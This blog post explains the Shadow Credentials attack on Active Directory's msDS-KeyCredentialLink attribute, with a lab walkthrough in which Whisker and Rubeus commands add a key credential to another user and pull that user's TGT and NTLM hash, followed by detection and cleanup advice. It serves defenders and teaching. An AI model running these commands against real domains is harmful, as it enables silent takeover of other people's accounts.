The bit that bothers me about Shadow Credentials is how little needs to change for the person whose account is being used. Their password still works. Their account hasn’t been reset. Someone has just added another way to authenticate as them.

Elad Shamir’s Shadow Credentials post is the right place to read the details. It was published in June 2021, and credits Michael Grafnetter’s earlier work presented at Black Hat Europe 2019.

Short Version for Blue Teamers:

The way I simplify (probably oversimplify) this when talking to people about it is:

  • There’s an Active Directory attribute called msDS-KeyCredentialLink
  • If an adversary or malicious insider can write the attribute on a target account, they can add a key credential containing their public key and keep the corresponding private key to authenticate.
  • Meaning, an adversary could be logging on as you or anyone in the domain, without your password, without you knowing anything about it IF they had write access to this attribute.

The other note I call out explicitly is that there is no need to enroll a client certificate from the corporate certificate server. The adversary can create their own keypair. The DC still needs a suitable certificate and support for PKINIT/key trust; successfully writing the attribute and successfully obtaining a TGT are separate steps. The attribute: key credential link attribute The permission: key credential link permission BloodHound is calling out the attack path where Olly happens to have write to the msDS-KeyCredentialLink attribute on Sally and Sally has domain admin privileges. In practice though, domain admin might not even be the goal, we might just be looking for accounts to take over. A practical insider-risk scenario is a delegated administrator who accumulates these permissions through account-creation workflows and can then access other principals without needing their passwords: key credential link in bloodhound

How does this happen in practice though?

If your first reaction was that it should be rare for someone to just have that unusual permission on its own, you’d be right. The path is often a broader permission: GenericAll, GenericWrite, WriteDACL, or an ownership path that lets the principal change the DACL. Ownership isn’t itself a write to msDS-KeyCredentialLink; the usual extra step is changing permissions, and owner-rights restrictions can affect that route.

Account creation is worth a look here. A delegated creator can end up as the owner, as in the lab below. That doesn’t mean every provisioning system leaves the same permissions behind, so inspect the resulting owner and ACL rather than assuming the workflow took care of it. Here’s a quick picture: The testOwner account was created by sally with net user /add testOwner P@ssw0rd123 /domain account owner

How easily can this be abused?

Very. If the red team, or adversary is able to compromise an account that has the ability to write msDS-KeyCredentialLink on another principal they can do it with a small amount of effort. BloodHound even provides instructions: whisker

Simple Abuse Example:

Keep in mind, we discovered that “olly” has the ability to write the msDS-KeyCredentialLink attribute on the “sally” principal.

  • Download and Compile Whisker: https://github.com/eladshamir/Whisker
  • Run: whisker.exe add /target:sally /domain:jmpesp.xyz /dc:dc1.jmpesp.xyz /path:file.pfx /password:pass whisker
  • Download and Compile Rubeus: https://github.com/GhostPack/Rubeus
  • Run the command provided in the output of whisker: rubeus.exe asktgt /user:sally /certificate:file.pfx /password:"pass" /domain:jmpesp.xyz /dc:dc1.jmpesp.xyz /getcredentials /show rubeus
  • We now have both a TGT and the NTLM hash for Sally and can now use this principal for whatever we need. On Sally’s end, not much has changed, she just goes about her day unaware that Olly has added this credential to her Active Directory object and can leverage it for whatever he needs. As a red-team example just to close this out with a screenshot abusing Sally’s account: evil winrm But in reality the type of thing that has me most worried about this attack is the malicious insider who is just using this from time to time to access other users’ things undetected.

Detection and prevention notes

Password rotation doesn’t remove the extra key credential. If you’re cleaning this up, identify and remove the unwanted value and fix the write path that allowed it. Clearing the entire attribute can break legitimate Windows Hello for Business registrations; it is multivalued for a reason.

For visibility, event 5136 can show a change to msDS-KeyCredentialLink, but only with Directory Service Changes auditing and the appropriate SACL on the object. Turning on an audit-policy category alone doesn’t guarantee the event. Look at who changed which account and whether the new key fits an expected enrollment. A populated attribute by itself isn’t proof of an attack.

References